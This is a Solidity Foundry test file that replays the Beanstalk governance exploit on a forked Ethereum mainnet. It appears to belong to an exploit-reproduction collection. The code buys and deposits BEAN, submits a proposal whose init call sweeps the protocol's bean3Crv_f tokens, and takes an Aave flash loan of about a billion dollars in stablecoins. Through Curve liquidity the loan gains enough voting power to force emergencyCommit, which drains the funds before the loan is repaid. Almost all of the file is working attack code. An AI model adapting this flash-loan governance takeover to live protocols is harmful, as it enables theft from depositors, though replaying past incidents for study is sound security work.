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Beanstalk_exp.sol
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Beanstalk_exp.sol
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// SPDX-License-Identifier: UNLICENSED
// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
pragma solidity >=0.7.0 <0.9.0;
import "forge-std/Test.sol";
import "./../interface.sol";
contract ContractTest is Test {
CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
ILendingPool aavelendingPool = ILendingPool(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
IERC20 dai = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IERC20 usdt = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
IERC20 bean = IERC20(0xDC59ac4FeFa32293A95889Dc396682858d52e5Db);
IERC20 crvbean = IERC20(0x3a70DfA7d2262988064A2D051dd47521E43c9BdD);
IERC20 threeCrv = IERC20(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490);
IUniswapV2Router uniswapv2 = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
ICurvePool threeCrvPool = ICurvePool(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7);
ICurvePool bean3Crv_f = ICurvePool(0x3a70DfA7d2262988064A2D051dd47521E43c9BdD);
IBeanStalk siloV2Facet = IBeanStalk(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5);
IBeanStalk beanstalkgov = IBeanStalk(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5);
address maliciousProposal = 0xE5eCF73603D98A0128F05ed30506ac7A663dBb69;
uint32 bip = 18;
constructor() {
cheat.createSelectFork("mainnet", 14_595_905); // fork mainnet at block 14595905
}
function testExploit() public {
address[] memory path = new address[](2);
path[0] = uniswapv2.WETH();
path[1] = address(bean);
uniswapv2.swapExactETHForTokens{value: 75 ether}(0, path, address(this), block.timestamp + 120);
emit log_named_uint("Initial USDC balancer of attacker", usdc.balanceOf(address(this)));
emit log_named_uint(
"After initial ETH -> BEAN swap, Bean balance of attacker:", bean.balanceOf(address(this)) / 1e6
);
bean.approve(address(siloV2Facet), type(uint256).max);
siloV2Facet.depositBeans(bean.balanceOf(address(this)));
emit log_named_uint(
"After BEAN deposit to SiloV2Facet, Bean balance of attacker:", bean.balanceOf(address(this)) / 1e6
);
IBeanStalk.FacetCut[] memory _diamondCut = new IBeanStalk.FacetCut[](0);
bytes memory data = abi.encodeWithSelector(ContractTest.sweep.selector);
//emit log_named_uint("BIP:", bip);
// function propose(
// IDiamondCut.FacetCut[] calldata _diamondCut,
// address _init,
// bytes calldata _calldata,
// uint8 _pauseOrUnpause
// )
// https://dashboard.tenderly.co/tx/mainnet/0x68cdec0ac76454c3b0f7af0b8a3895db00adf6daaf3b50a99716858c4fa54c6f
beanstalkgov.propose(_diamondCut, address(this), data, 3);
cheat.warp(block.timestamp + 24 * 60 * 60); //travelling 1 day in the future
dai.approve(address(aavelendingPool), type(uint256).max);
usdc.approve(address(aavelendingPool), type(uint256).max);
TransferHelper.safeApprove(address(usdt), address(aavelendingPool), type(uint256).max);
bean.approve(address(aavelendingPool), type(uint256).max);
dai.approve(address(threeCrvPool), type(uint256).max);
usdc.approve(address(threeCrvPool), type(uint256).max);
TransferHelper.safeApprove(address(usdt), address(threeCrvPool), type(uint256).max);
bean.approve(address(siloV2Facet), type(uint256).max);
threeCrv.approve(address(bean3Crv_f), type(uint256).max);
IERC20(address(bean3Crv_f)).approve(address(siloV2Facet), type(uint256).max);
address[] memory assets = new address[](3);
assets[0] = address(dai);
assets[1] = address(usdc);
assets[2] = address(usdt);
uint256[] memory amounts = new uint256[](3);
amounts[0] = 350_000_000 * 10 ** dai.decimals();
amounts[1] = 500_000_000 * 10 ** usdc.decimals();
amounts[2] = 150_000_000 * 10 ** usdt.decimals();
uint256[] memory modes = new uint256[](3);
aavelendingPool.flashLoan(address(this), assets, amounts, modes, address(this), new bytes(0), 0);
emit log_named_uint("After Flashloan repay, usdc balance of attacker:", usdc.balanceOf(address(this)));
usdc.transfer(msg.sender, usdc.balanceOf(address(this)));
}
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool) {
emit log_named_uint("After deposit, Bean balance of attacker:", bean.balanceOf(address(this)) / 1e6); // @note redundant log
uint256[3] memory tempAmounts;
tempAmounts[0] = amounts[0];
tempAmounts[1] = amounts[1];
tempAmounts[2] = amounts[2];
threeCrvPool.add_liquidity(tempAmounts, 0);
uint256[2] memory tempAmounts2;
tempAmounts2[0] = 0;
tempAmounts2[1] = threeCrv.balanceOf(address(this));
bean3Crv_f.add_liquidity(tempAmounts2, 0);
emit log_named_uint(
"After adding 3crv liquidity , bean3Crv_f balance of attacker:", crvbean.balanceOf(address(this))
);
emit log_named_uint(
"After Curvebean3Crv_f balance of attacker:", IERC20(address(bean3Crv_f)).balanceOf(address(this))
); //@note logging balance for same token ?
siloV2Facet.deposit(address(bean3Crv_f), IERC20(address(bean3Crv_f)).balanceOf(address(this)));
//beanstalkgov.vote(bip); --> this line not needed, as beanstalkgov.propose() already votes for our bip
beanstalkgov.emergencyCommit(bip);
emit log_named_uint(
"After calling beanstalkgov.emergencyCommit() , bean3Crv_f balance of attacker:",
crvbean.balanceOf(address(this))
);
bean3Crv_f.remove_liquidity_one_coin(IERC20(address(bean3Crv_f)).balanceOf(address(this)), 1, 0);
emit log_named_uint(
"After removing liquidity from crvbean pool , bean3Crv_f balance of attacker:",
crvbean.balanceOf(address(this))
);
tempAmounts[0] = amounts[0] + premiums[0];
tempAmounts[1] = amounts[1] + premiums[1];
tempAmounts[2] = amounts[2] + premiums[2];
emit log_named_uint("premiums[0]:", premiums[0]);
emit log_named_uint("premiums[1]:", premiums[1]);
emit log_named_uint("premiums[2]:", premiums[2]);
emit log_named_uint("tempAmounts[0]:", tempAmounts[0]);
emit log_named_uint("tempAmounts[1]:", tempAmounts[1]);
emit log_named_uint("tempAmounts[2]:", tempAmounts[2]);
threeCrvPool.remove_liquidity_imbalance(tempAmounts, type(uint256).max);
threeCrvPool.remove_liquidity_one_coin(threeCrv.balanceOf(address(this)), 1, 0);
emit log_named_uint(
"After removing 3crv liquidity from 3crv pool, usdc balance of attacker:", usdc.balanceOf(address(this))
);
return true;
}
function sweep() external {
IERC20 erc20bean3Crv_f = IERC20(0x3a70DfA7d2262988064A2D051dd47521E43c9BdD);
erc20bean3Crv_f.transfer(msg.sender, erc20bean3Crv_f.balanceOf(address(this))); //Just for verification, so keep other tokens
}
}